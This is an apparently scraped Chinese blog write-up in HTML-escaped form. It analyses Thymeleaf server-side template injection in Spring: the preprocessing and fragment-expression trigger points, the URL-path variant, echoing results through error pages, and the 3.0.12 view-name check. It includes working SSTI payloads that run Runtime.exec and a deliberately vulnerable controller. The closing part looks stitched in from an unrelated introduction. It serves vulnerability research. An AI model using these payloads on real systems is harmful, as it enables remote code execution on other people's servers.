\u5176\u5b9e\u603b\u7684\u6765\u8bf4\uff0c\u5bf9\u4e8e\u6211\u4eec\u6f0f\u6d1e\u89e6\u53d1\u5c31\u662f\u62c6\u5206\u6210\u5173\u952e\u7684\u4e24\u90e8\u5206\uff1a\u5982\u4f55\u5c06viewname\u89e3\u6790\u51fa\u6765\uff0c\u4ee5\u53ca\u5982\u679c\u6709::\u5219\u8fdb\u5165\u9884\u5904\u7406\u4ece\u800c\u6267\u884cpayload\u3002<\/strong><\/p>\n\n\n\n\u53ef\u4ee5\u770b\u51fa\uff0c\u8fd9\u4e2aviewname(Thymeleafview\u4e2d\u7684viewTemplateName)\u5c31\u662f\u6211\u4eecThymeleaf SSTI\u8d2f\u7a7f\u59cb\u7ec8\u7684\u6700\u91cd\u8981\u7684\u53c2\u6570\u3002<\/p>\n\n\n\n
\u5176\u5b9e\u5b66\u4e60<\/p>\n\n\n\n
\u73b0\u5728\u6211\u4eec\u6765\u770b\u4e00\u4e0bselector\/templatename\u7684\u89e6\u53d1\u70b9\uff0c\u76f4\u63a5\u4ee5<\/p>\n\n\n\n
@Controller
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload;
}
}<\/code><\/pre>\n\n\n\n\u8fd9\u4e2aController\u6765\u8bf4\uff0c\u4f20\u53c2<\/p>\n\n\n\n
test::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}__<\/code><\/code><\/pre>\n\n\n\n\u770b\u8fc7\u4e86\u6e90\u7801\u662f\u600e\u4e48\u5904\u7406\u7684\u5176\u5b9e\u5c31\u80fd\u5bf9\u8fd9\u79cd\u6240\u8c13selector\/templatename\u7684\u8fd9\u79cd\u6ce8\u5165\u70b9\u5206\u7c7b\u4e0d\u600e\u4e48care\u4e86\uff0c\u770b\u4e00\u773c\u5c31\u660e\u767d\u4e86\u3002\u4e5f\u80fd\u660e\u767d\u4e3a\u4ec0\u4e48\u6709\u65f6\u5019\u8981\u52a0_ _\uff0c\u4f46\u5b9e\u9645\u4e0a\u81ea\u5df1\u6d4b\u7684\u65f6\u5019\u6709\u65f6\u4e0d\u52a0_ _\u4e00\u6837\u80fd\u89e6\u53d1\u3002<\/p>\n\n\n\n
\u6240\u4ee5\u4e0b\u9762\u5206\u4e24\u4e2a\u89e6\u53d1\u70b9\u6765\u8bb2(\u9884\u5904\u7406\u548c\u6211\u81ea\u5df1\u53d1\u73b0\u7684\uff0c\u5176\u4e2d\u9884\u5904\u7406\u8fd9\u4e2a\u89e6\u53d1\u70b9\u662f\u6700\u4e3b\u8981\u7684)\uff0c\u5c31\u4e0d\u6309payload\u7c7b\u522b\u6765\u5206\u4e86\uff1a<\/p>\n\n\n\n
\u9884\u5904\u7406\u89e6\u53d1\u70b9<\/h3>\n\n\n\n
\u5148\u6765\u8bf4\u8fd9\u4e2a\u89e6\u53d1\u70b9\u3002<\/p>\n\n\n\n
\u4e5f\u5c31\u662f\u9884\u5904\u7406\u8fd9\u6b65\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u5728StandardExpressionPaser#parseExpression\u4e2d\uff0c\u5148\u8fdb\u884c\u8bed\u53e5\u7684”\u9884\u5904\u7406”(\u5bf9\u5b57\u7b26\u4e32\u7684\u5904\u7406)\uff1aStandardExpressionPreprocessor.preprocess\uff0c\u5c31\u662f\u628a__()__\u62ec\u53f7\u91cc\u9762\u7684\u4e1c\u897f\u63d0\u51fa\u6765\uff0c\u5e76\u68c0\u67e5\u8f6c\u4e49\u7b49\u7b49(\u8fd9\u91cc\u53ef\u4ee5\u53bb\u5173\u6ce8StandardExpressionPreprocessor#checkPreprocessingMarkUnescaping<\/strong>\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u7136\u540etemplatename\u90e8\u5206\u4f1a\u5c01\u88c5\u8fdbExpression\u4e2d\uff0c\u6700\u540e\u8fd4\u56de\u4e2a\u5411\u4e0a\u8f6c\u578b\u7684IStandardExpression\u63a5\u53e3\u7684\u5bf9\u8c61\u3002<\/p>\n\n\n\n(\u5bf9\u4e8e\u8bed\u53e5\u7684”\u9884\u5904\u7406”\u8fd9\u6b65\u662f\u4e0d\u4f1a\u5bf9templatename\u90e8\u5206\u505a\u5904\u7406\u7684\uff0c\u53ea\u4f1a\u628atemplatename\u7684\u89e3\u6790\u503c\u52a0\u4e0a\u539f\u5c01\u4e0d\u52a8\u7684selector\u4e22\u8fdb\u4e00\u4e2astring\u91cc\u9762\u7136\u540e\u518d\u5728\u540e\u9762\u7684\u65b9\u6cd5\u8fdb\u884c\u89e3\u6790\u3002)<\/strong><\/p>\n\n\n\n\u7136\u540e\u89e3\u6790\u7684\u91cd\u70b9\u5c31\u5728final Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);\u8fd9\u91cc \u5f00\u59cb\u89e3\u6790templatename\u8fd9\u90e8\u5206\u3002\u8fd9\u4e00\u6b65\u8fd8\u53bb\u83b7\u5f97\u5e76\u4f20\u9012\u4e86VariableExpression<\/strong>(\u53d8\u91cf\u8868\u8fbe\u5f0f)\u7684\u9ed8\u8ba4\u89e3\u6790\u5668\uff0c\u8fd9\u91cc\u5c31\u80fd\u770b\u5230\u662f\u548cSpringEL\u76f8\u5173\u7684\u89e3\u6790\u5668\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n<\/div><\/figure>\n\n\n\n\u7136\u540e\u4e00\u76f4\u5d4c\u5957\u8c03\u7528XXXExpression\u7684execute<\/strong>\u65b9\u6cd5\uff0c<\/p>\n\n\n\n\u5176\u4e2dSimpleExpression#executesimple<\/strong>\u8fd9\u4e2a\u65b9\u6cd5\u4f1a\u6839\u636etemplatename(\u8fd9\u91cc\u4e5f\u5c31\u662f\u5c01\u88c5\u597d\u7684expression)\u7684SELECTOR<\/strong>\u6765\u9009\u62e9\u7528\u54ea\u4e2a\u5177\u4f53\u7684expression\u53bb\u89e3\u6790\u3002SELECTOR\u5373\u6210Thymeleaf\u7684xxx\u8868\u8fbe\u5f0f\u7684\u8d77\u59cb\u7b26\u53f7\uff0c\u5982\u6211\u4eec\u8fd9\u91cc\u4f20\u5165\u7684\u53d8\u91cf\u8868\u8fbe\u5f0f\u4ee5’$’\u5f00\u5934\uff0c\u4f1a\u53bb\u8c03\u7528VariableExpression\u6765\u89e3\u6790\uff1b\u800cMessageExpression\u5373\u6d88\u606f\u8868\u8fbe\u5f0f\uff0c\u4ee5’#’\u5f00\u5934\u3002\u3002\u3002\u3002\u3002\u3002![\"image-20241014200714872\"](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241014200714872.png\")
<\/p>\n\n\n\n![\"\"](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241014200947547.png\")
<\/p>\n\n\n\n
\u540e\u9762\u4f1a\u5230\u4e0a\u9762\u63d0\u5230\u7684SPELVariableExpressionEvaluator\u7c7b\u7528evaluate\u65b9\u6cd5\u3002\u8fd9\u91cc\u7684SPELVariableExpressionEvaluator\u8fd8\u4e0d\u662fSpring\u7684\u539f\u751fSPEL\u76f8\u5173\u7684\u7c7b\u54e6\uff0c\u8fd8\u662f\u4e00\u4e2aThymeleaf\u5305\u4e0b\u7684\u51c6\u5907\u8c03\u7528\u539f\u751fSPEL\u76f8\u5173\u7684\u7c7b\u3002\u8fd9\u4e2a\u65b9\u6cd5\u4f1a\u628a\u6211\u4eec\u7684Expression\u5f7b\u5e95\u5c01\u88c5\u6210SpelExpression\uff0c\u7136\u540e\u5c31\u50cf\u5e73\u65f6\u7528SpringEL\u4e00\u6837\u53bb\u8c03\u7528getValue\u3002<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u540e\u9762\u8d70\u7684\u5c31\u662fSPEL\u7684\u539f\u751f\u65b9\u6cd5\u4e86\uff0c\u81f3\u6b64\uff0c\u6211\u4eec\u4f20\u5165\u7684templatename\u4f1a\u89e3\u6790\u6210\u529f\uff0c\u6210\u529f\u6ce8\u5165SPEL\u3002<\/p>\n\n\n\n
\u8fd9\u4e5f\u662f\u6211\u4eec\u51e0\u4e4e\u6240\u6709payload\u7684\u89e6\u53d1\u70b9\u4e86\uff0c\u56e0\u4e3a\u5b83\u4eec\u7684SPEL\u8868\u8fbe\u5f0f\u90fd\u662f\u5e26\u7740_ _\u5305\u88f9\u7684\uff0c\u90fd\u662f\u5728\u9884\u5904\u7406\u8fd9\u6b65\u4e2d\u53d6\u51fa\u5e76\u89e3\u6790\u3002<\/p>\n\n\n\n
\u800c\u4e3a\u4ec0\u4e48\u6709\u4e9b\u65f6\u5019\u4e0d\u9700\u8981\u7528_ _\u5305\u88f9\u5462\uff1f<\/p>\n\n\n\n
\u6bd4\u5982<\/p>\n\n\n\n
test::${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}<\/code><\/code><\/pre>\n\n\n\n\u5c31\u884c\u3002\u56e0\u4e3a\u8fd9\u4f1a\u8fdb\u5165\u5230\u4e0b\u4e00\u4e2a\u89e6\u53d1\u70b9\u3002<\/p>\n\n\n\n
\n\n\n\ncreateExecutedFragmentExpression\u89e6\u53d1\u70b9<\/h3>\n\n\n\n
\u5f53\u6211\u4eec\u4f20\u5165\u4f8b\u5982test::${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}<\/code>\u7684payload\u65f6\uff0c\u7531\u4e8e\u6ca1\u6709\u643a\u5e26_ _\uff0c\u5bfc\u81f4\u9884\u5904\u7406\u8fd9\u6b65\u4e5f\u6ca1\u6709\u6b63\u5219\u5339\u914d\u5230\u76f8\u5173\u8868\u8fbe\u5f0f\u6ca1\u6709\u6267\u884c\uff0c\u6700\u540e\u4e5f\u5c31\u662f\u52a0\u4e0a\u9884\u5904\u7406\u8fd9\u6b65\u5730~{ }\u628a\u8fd9\u4e2a\u8868\u8fbe\u5f0f\u539f\u5c01\u4e0d\u52a8\u5730\u8fd4\u56de\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u7136\u540e\u8fdb\u5230FragmentExpression.ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);<\/strong><\/p>\n\n\n\n\u8fd9\u91cc\u3002<\/p>\n\n\n\n
\u4ece\u6267\u884c\u540e\u5730\u53d8\u91cf\u7c7b\u540d\u4e5f\u53ef\u4ee5\u770b\u51fa\u6765\uff0c”\u6267\u884c\u8fc7\u7684\u7247\u6bb5\u8868\u8fbe\u5f0f”\uff0c\u8fd9\u4e2a\u53d8\u91cf\u5c31\u662f\u5c06\u7528\u6237\u4f20\u5165\u7684Thymeleaf\u7247\u6bb5\u8868\u8fbe\u5f0f\u4e2d\u7684\u53ef\u6267\u884c\u8bed\u6cd5\u6267\u884c\u5b8c\u540e\u7684\u7247\u6bb5\u8868\u8fbe\u5f0f\uff0c\u5e76\u4e14\u540e\u9762\u7684ThymeleafView\u6d41\u7a0b\u4e2d\u4e5f\u90fd\u662f\u7528\u7684\u8fd9\u4e2a\u53d8\u91cf\u3002<\/p>\n\n\n\n
\u8fd9\u4e2a\u65b9\u6cd5\u4f1a\u5c06\u7247\u6bb5\u8868\u8fbe\u5f0fSelector\u91cc\u7684\u53ef\u6267\u884c\u8bed\u6cd5\u6267\u884c\u5b8c\u3002<\/p>\n\n\n\n
\u56e0\u4e3aSelector\u5728\u9884\u5904\u7406\u4e2d\u672c\u8eab\u5c31\u88ab\u5c01\u88c5\u6210\u4e86VariableExpression\uff0c\u5728\u65b9\u6cd5\u4e2d\u4f1a\u76f4\u63a5\u8c03\u7528\u5176execute\u7136\u540e\u5c31\u662f\u76f8\u540c\u7684\u6d41\u7a0b\u4e86\u3002<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u6240\u4ee5\u663e\u800c\u6613\u89c1\uff0c\u8fd9\u89e3\u91ca\u4e86\u4e3a\u4ec0\u4e48payload\u5728selector\u90e8\u5206\u4e0d\u5e26_ _\u4f9d\u7136\u53ef\u4ee5\u89e6\u53d1\u3002<\/p>\n\n\n\n
\u8fd9\u4e24\u4e2a\u70b9\u4e5f\u7b97\u662fThymeleaf SSTI\u6240\u6709\u7684\u6f0f\u6d1e\u89e6\u53d1\u70b9\u4e86\uff0c\u5176\u5b9e\u6211\u4eec\u524d\u9762\u8fd8\u4ecb\u7ecd\u4e86\u4e00\u4e2aURL path\u7684\u5199\u6cd5\uff0c\u5176\u4e3b\u8981\u533a\u522b\u5c31\u662f\u5728\u83b7\u53d6\u5230templatename\u8fd9\u4e00\u6b65\u4e0d\u4e00\u6837\uff0c\u5176\u5b83\u4e00\u6478\u4e00\u6837\u3002<\/p>\n\n\n\n
URL path<\/strong><\/p>\n\n\n\n\u8fd8\u8bb0\u5f97Overview\u8bf4\u7684\u5927\u6982\u6d41\u7a0b\u4e2d\u7684\u83b7\u53d6modelAndview\u4ee5\u53caapplyDefaultViewName()\u8fd9\u6b65\u5417\uff1f<\/p>\n\n\n\n
\u63d0\u5230\u8fc7\u662f\u901a\u8fc7\u83b7\u53d6Controller\u7684\u8fd4\u56de\u503c\u5c01\u88c5\u5230mv\u4e2d\u7684viewname\u4e2d\uff0c\u8fd9\u91cc\u6ca1\u6709\u8fd4\u56de\u503c\uff0c\u81ea\u7136viewname=null:<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u4f1a\u8fdb\u5165\u5230appDefaultViewName\u7684if\u8bed\u53e5\u4e2d\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u4f1a\u4ecerequest\u57df\u4e2d\u628a\u6211\u4eec\u7684\u8bf7\u6c42url\u8fd4\u56de\uff1a![\"image-20241015095240116\"](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241015095240116.png\")
<\/p>\n\n\n\n
\u5f53\u7136\u8fd9\u91cc\u8fd8\u7528transformPath\u505a\u4e86\u4e2a\u5904\u7406\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u6211\u4eec\u4e3b\u8981\u770b\u7b2c\u4e09\u4e2aif\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u539f\u672c\u662f\u7528\u6765\u53bb\u6389\u6587\u4ef6\u540e\u7f00\u7684\uff0c\u5373\u5982\u679curl\u4e2d\u6709.\u5b58\u5728\u7684\u8bdd\uff0c\u5c06\u6700\u540e\u4e00\u4e2a.\u524d\u9762\u7684\u5b57\u7b26\u4e32\u63d0\u51fa\u6765\u3002\u6240\u4ee5\u8fd9\u4e5f\u662f\u6211\u4eec\u4e3a\u4ec0\u4e48\u8981\u5728URL\u578bpayload::\u540e\u9762\u52a0\u4e2a.\u7684\u539f\u56e0\uff0c\u56e0\u4e3a\u5982\u679c\u6309\u7ecf\u5178\u7684payload\u7684\u8bdd<\/p>\n\n\n\n
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}__::<\/code><\/code><\/pre>\n\n\n\n\u6700\u540e\u4f1a\u53d8\u6210__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream())}__<\/code><\/code><\/pre>\n\n\n\n\u6ca1\u6709\u4e86::\u540e\u9762\u4e5f\u4e0d\u4f1a\u8fdb\u5230::\u7684if\u8bed\u53e5\u4e2d\u53bb\u5bf9\u8868\u8fbe\u5f0f\u9884\u5904\u7406\u4e86\u3002<\/p>\n\n\n\n
applyDefaultViewName()\u5230\u6b64\u5c31\u7ed3\u675f\u4e86\uff0c\u540e\u9762\u7684\u6d41\u7a0b\u4e5f\u548c\u524d\u9762\u662f\u4e00\u6837\u7684\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u53ef\u80fd\u6709\u5e08\u5085\u53ef\u80fd\u4f1a\u597d\u5947\uff0c\u524d\u9762\u5728\u8c03\u7528HandlerAdapter\u8fd9\u6b65\u63d0\u8fc7\u4e00\u5634\uff0cRestController\u8fd4\u56deModelAndView\u7684\u65f6\u5019\u4e0d\u662fnull\u5417\uff0c\u540e\u9762\u80fd\u4e0d\u80fd\u8d70\u5230URL payload\u76f8\u540c\u7684\u6d41\u7a0b\u91cc\u9762\u53bb\u3002<\/p>\n\n\n\n
\u56e0\u4e3aapplyDefaultViewName\u8fd8\u8981\u53bb\u770b\u6709\u6ca1\u6709ModerAndView\u518d\u8bbe\u7f6eviewname\uff0c\u8fd9\u91ccnull\u5f53\u7136\u5c31\u662f\u4e0d\u53ef\u80fd\u7684\u3002<\/p>\n\n\n\n
\u8fd9\u4e9b\u5c31\u662fThymeleaf SSTI\u7684\u6f0f\u6d1e\u89e6\u53d1\u6e90\u7801\u6d41\u7a0b\u4e86\u3002<\/p>\n\n\n\n
\u56de\u663e\u539f\u7406<\/h2>\n\n\n\n
\u53c2\u8003\u4e86\u8fd9\u7bc7\u6587\u7ae0\uff1a<\/p>\n\n\n\n\nhttps:\/\/exp10it.io\/2023\/02\/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83\n<\/div><\/figure>\n\n\n\n\u5176\u5b9e\u5bf9\u4e8eThymeleaf SSTI\u6765\u8bf4\uff0c\u5176\u56de\u663e\u8fd8\u662f\u633a\u9e21\u808b\u7684\uff0c\u56e0\u4e3a\u662f\u4f9d\u9760\u629b\u5f02\u5e38\u5e26\u51fa\u7684\uff0c\u5e76\u4e14\u5bf9\u4e8e\u4e0d\u540c\u7684payload\u8fd8\u6709\u4e00\u5b9a\u7684\u5c40\u9650\u6027\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u4ecb\u7ecd\u4e00\u4e0bSpringboot\u7f51\u9875\u5bf9\u4e8e\u62a5\u9519\u7684\u5904\u7406\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u5e38\u89c1\u7684Whitelabel Error Page<\/strong>\uff1a<\/p>\n\n\n\n\u5728\u4f4e\u7248\u672c\u7684 springboot (<= 2.2) \u4e2d, `server.error.include-message` \u7684\u9ed8\u8ba4\u503c\u4e3a `always`, \u8fd9\u4f7f\u5f97\u9ed8\u8ba4\u7684 500 \u9875\u9762\u4f1a\u663e\u793a\u5f02\u5e38\u4fe1\u606f
\u4f46\u662f\u5728\u9ad8\u7248\u672c\u7684 springboot (>= 2.3) \u4e2d, \u4e0a\u8ff0\u9009\u9879\u7684\u9ed8\u8ba4\u503c\u53d8\u6210\u4e86 `never`, \u90a3\u4e48 500 \u9875\u9762\u5c31\u4e0d\u4f1a\u663e\u793a\u4efb\u4f55\u5f02\u5e38\u4fe1\u606f<\/pre>\n\n\n\n\u8fd9\u4e5f\u662f\u4e3a\u4ec0\u4e48”\u9e21\u808b”\u7684\u5f88\u5927\u90e8\u5206\u539f\u56e0\uff0c\u6211\u4eec\u8981\u590d\u73b0\u8fd8\u5f97\u53bb\u6539\u4e00\u4e0b\u8fd9\u4e2a\u9ed8\u8ba4\u914d\u7f6e\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u8fd9\u91cc\u5148\u7529\u51fa\u5173\u4e8e\u56de\u663e\u7684\u4e00\u4e2a\u7ed3\u8bba\uff1a<\/p>\n\n\n\n
\u5728\u9884\u5904\u7406\u8fd9\u4e2a\u89e6\u53d1\u70b9\uff1a<\/p>\n\n\n\n
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream()).next()}__::<\/code><\/code><\/pre>\n\n\n\n\u662f\u4e0d\u4f1a\u5e26\u51fa\u89e3\u6790\u7ed3\u679c\u7684\uff0c\u53ea\u4f1a\u5e26\u51fa\u539f\u672c\u7684\u8868\u8fbe\u5f0f\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u800c\u5f53\u4f60\u5f80::\u540e\u52a0\u4efb\u610f\u4e1c\u897f\u540e\uff1a<\/p>\n\n\n\n
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream()).next()}__::1<\/code><\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u788d\u4e8epayload\u7684\u6709\u9650\u6027\u867d\u7136\u53ea\u89e3\u6790\u51fa\u6765\u4e86Windows(\u5176\u5b83\u56de\u663e\u6280\u672f\u53ef\u4ee5\u53bb\u5b66SPEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u7684\u66f4\u591a\u56de\u663e\u59ff\u52bf)\uff0c\u4f46\u597d\u6b79\u662f\u628a\u89e3\u6790\u56de\u663e\u5230\u754c\u9762\u4e86\u3002<\/p>\n\n\n\n
\u8fd9\u662f\u56e0\u4e3a\u5728\u8fd9\u4e2a\u65b9\u6cd5\uff1a<\/p>\n\n\n\n
StandardExpressionParser#parseExpression():<\/p>\n\n\n\n
static IStandardExpression parseExpression(
final IExpressionContext context,
final String input, final boolean preprocess) {
\u200b
final IEngineConfiguration configuration = context.getConfiguration();
\u200b
final String preprocessedInput =
(preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input);
\u200b
final IStandardExpression cachedExpression =
ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
if (cachedExpression != null) {
return cachedExpression;
}
\u200b
final Expression expression = Expression.parse(preprocessedInput.trim());
if (expression == null) {
throw new TemplateProcessingException(\"Could not parse as expression: \\\"\" + input + \"\\\"\");
}
ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
\u200b
return expression;
}<\/code><\/pre>\n\n\n\nfinal String preprocessedInput = (preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input);\u8fd9\u91cc\u540e\u7eed\u89e3\u6790\u8868\u8fbe\u5f0f\u7684\u5165\u53e3\uff0c\u89e3\u6790\u5b8c\u4e86\u540e\u8fd8\u662f\u4f1a\u628a\u89e3\u6790\u540e\u7684\u8868\u8fbe\u5f0f\u8fd4\u56de\u7136\u540e\u8d70\u8fdbparse:<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u5982\u679c\u662f\u6ca1\u6709\u56de\u663e\u7684payload\u8fd9\u91ccexpression\u4e3anull\uff0c\u8fdb\u5165\u4e0b\u65b9if\u8bed\u53e5\uff0c\u629b\u51fa\u5f02\u5e38\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u53ef\u4ee5\u770b\u5230\uff0c\u8fd9\u4e2a\u5f02\u5e38\u662f\u628ainput\u5e26\u51fa\u7684\uff0c\u5373\u539f\u6765\u7684\u8868\u8fbe\u5f0f\u3002<\/p>\n\n\n\n
\u5982\u679c\u662f\u6709\u56de\u663e\u7684payload\uff0c\u4f1a\u6b63\u5e38\u8fd4\u56de\u89e3\u6790\u540e\u7684\u8868\u8fbe\u5f0f\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u7136\u540e\u4e00\u8def\u8d70\u5230\u6700\u540e\u53bb\u8d44\u6e90\u6839\u636e::\u5de6\u8fb9\u7684\u5185\u5bb9\u5f53\u4f5c\u89c6\u56fe\u540d\u53bb\u641c\u7d22\u8d44\u6e90\u4e2d\u7684\u76f8\u5e94\u89c6\u56fe\uff0c\u5f53\u7136\u662f\u627e\u4e0d\u5230\u7684\uff0c\u6240\u4ee5\u629b\u51fa<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u5c06\u6211\u4eec\u7684template\u4e5f\u5c31\u662f\u89e3\u6790\u7ed3\u679c\u5e26\u51fa\u3002<\/p>\n\n\n\n
\u4e24\u4e2apayload\u629b\u5f02\u5e38\u7684\u533a\u522b\u662f\u5728\u4e8e<\/p>\n\n\n\n
final Expression expression = Expression.parse(preprocessedInput.trim());<\/pre>\n\n\n\n\u4f1a\u8d70\u5230\u4e00\u4e2a\u8fd9\u6837\u7684\u65b9\u6cd5\uff1a<\/p>\n\n\n\n
FragmentExpression#parseFragmentExpressionContent<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u5982\u679c::\u540e\u9762\u6ca1\u6709\u4e1c\u897f\uff0c\u8fd9\u91cc\u81ea\u7136\u4f1a\u8fd4\u56de\u4e00\u4e2anull\uff0c\u4e8e\u662f\u629b\u51fa\u5e26\u6709input\u7684\u5f02\u5e38\uff0c\u800c\u5982\u679c\u6709\u5219\u4f1a\u6700\u540e\u5f97\u5230\u4e00\u4e2aFragmentExpression\u5c31\u4e0d\u4f1a\u8fdb\u5165if\u8bed\u53e5\u629b\u51fa\u5f02\u5e38\uff0c\u4e00\u76f4\u8d70\u5230\u6700\u540e\u3002<\/p>\n\n\n\n
\u5347\u7ea7\u7248\u672c\u7ed5\u8fc7<\/h1>\n\n\n\n3.0.12<\/h2>\n\n\n\n\u9632\u5fa1\u70b91<\/h3>\n\n\n\ndefend<\/h4>\n\n\n\n
\u4ee5<\/p>\n\n\n\n
Controller
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload;
}
}<\/code><\/pre>\n\n\n\n\u8fd9\u6837\u7684Controller\u4e3a\u4f8b\u4f20test%3a%3a__%24%7bnew+java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d<\/code>__<\/p>\n\n\n\n\u5728\u9884\u5904\u7406\u4e4b\u524d\uff0c\u5373ThymeleafView#renderFragment\u65b9\u6cd5\u8fdb\u5165\u5230!viewTemplateName.contains(“::”)\u7684else\u8bed\u53e5\u5757\u4e2d\uff0c\u589e\u52a0\u4e86\u4e00\u4e2aSpringRequestUtils.checkViewNameNotInRequest(viewTemplateName, request);<\/code>\u65b9\u6cd5\u3002<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u7ed3\u5408\u6ce8\u91ca\u53ef\u4ee5\u5927\u6982\u77e5\u9053\u8fd9\u4e2a\u65b9\u6cd5\u662f\u7528\u6765\u68c0\u6d4bviewTemplateName\u662f\u5426\u662f\u5305\u542b\u5728\u6211\u4eec\u7684\u8bf7\u6c42url\u4e2d\u7684\uff0c\u5982\u679c\u662f\u5219\u8bf4\u660e\u662f\u7528\u6237\u4f20\u53c2\u63a7\u5236\u4e86viewTemplateName\u3002\u6211\u4eec\u6765\u770b\u770b\u5b83\u662f\u5177\u4f53\u600e\u4e48\u68c0\u6d4b\u7684\uff1a<\/p>\n\n\n\n
public static void checkViewNameNotInRequest(final String viewName, final HttpServletRequest request) {
\u200b
final String vn = StringUtils.pack(viewName);
\u200b
final String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
\u200b
boolean found = (requestURI != null && requestURI.contains(vn));
if (!found) {
final Enumeration<String> paramNames = request.getParameterNames();
String[] paramValues;
String paramValue;
while (!found && paramNames.hasMoreElements()) {
paramValues = request.getParameterValues(paramNames.nextElement());
for (int i = 0; !found && i < paramValues.length; i++) {
paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
if (paramValue.contains(vn)) {
found = true;
}
}
}
}
\u200b
if (found) {
throw new TemplateProcessingException(
\"View name is an executable expression, and it is present in a literal manner in \" +
\"request path or parameters, which is forbidden for security reasons.\");
}
\u200b
}
\u200b<\/code><\/pre>\n\n\n\n\u5148\u53d6\u51faviewName\u4e2d\u7684\u7a7a\u683c\u8d4b\u503c\u5230vn\u4e2d\uff0c<\/p>\n\n\n\n
\u8fd9\u663e\u7136\u4e0d\u7b26\u5408\u524d\u540e\u7aef\u5206\u79bb\u7684\u4e00\u5957\u903b\u8f91\uff0cjsp\u903b\u8f91\u4e0b\u7684\u524d\u7aef\u9875\u9762\u662f\u540e\u7aef\u7684\u4ee3\u7801\u6765\u6267\u884c\u8fd4\u56de\u7684\uff0c\u4e0d\u80fd\u8131\u79bb\u4e8e\u540e\u7aef\uff1b<\/p>\n\n\n\n
\u800c\u4e00\u822c\u610f\u4e49\u4e0a\u7684”\u524d\u7aef”\uff0c\u5c31\u662f\u5355\u4e00\u7684html\u6587\u4ef6\u3002\u5ba2\u6237\u7aef\u8bbf\u95ee\u5b83\u5c31\u7b97\u8131\u79bb\u4e86\u540e\u7aef\u4ee3\u7801\u4e5f\u80fd\u8bbf\u95ee\u5230\u3002\u6240\u4ee5\u575a\u6301\u524d\u540e\u7aef\u5206\u79bb\u7406\u5ff5\u7684springboot\u5e76\u4e0d\u652f\u6301jsp\u4f5c\u4e3a\u5176\u524d\u7aef\u6e32\u67d3\u6a21\u677f\uff0c\u4ecejsp\u8fd0\u884c\u903b\u8f91\u6765\u770b\u8fd9\u4e5f\u6839\u672c\u79f0\u4e0d\u4e0a”\u6e32\u67d3”\uff1b\u4f5c\u4e3a\u4ee3\u66ff\uff0cspringboot\u652f\u6301\u4e86\u4ee5Themeleaf\u4e3a\u4ee3\u8868\u7684\u4e00\u4e9b\u524d\u7aef\u6e32\u67d3\u6a21\u677f\u3002<\/p>\n\n\n\n
- \n
- \u5bf9\u4e8ethemeleaf\u800c\u8a00\uff0c\u505a\u5230\u4e86\u771f\u6b63\u610f\u4e49\u4e0a\u7684”\u6e32\u67d3”\u3002\u5b83\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u539f\u751f\u7684html\u6587\u4ef6\u4f7f\u7528th\u6807\u7b7e\uff1b\u54ea\u6015\u6ca1\u6709\u540e\u7aef\u7684\u53c2\u4e0e\uff0c\u76f4\u63a5\u5f53\u4f5c\u9759 \u6001\u8d44\u6e90\u6765\u8bbf\u95ee\u4f9d\u7136\u80fd\u8bbf\u95ee\u6210\u529f\u3002<\/li>\n<\/ul>\n\n\n\n
\n\n\n\n\u6807\u51c6\u8868\u8fbe\u5f0f\u8bed\u6cd5<\/strong><\/h3>\n\n\n\n
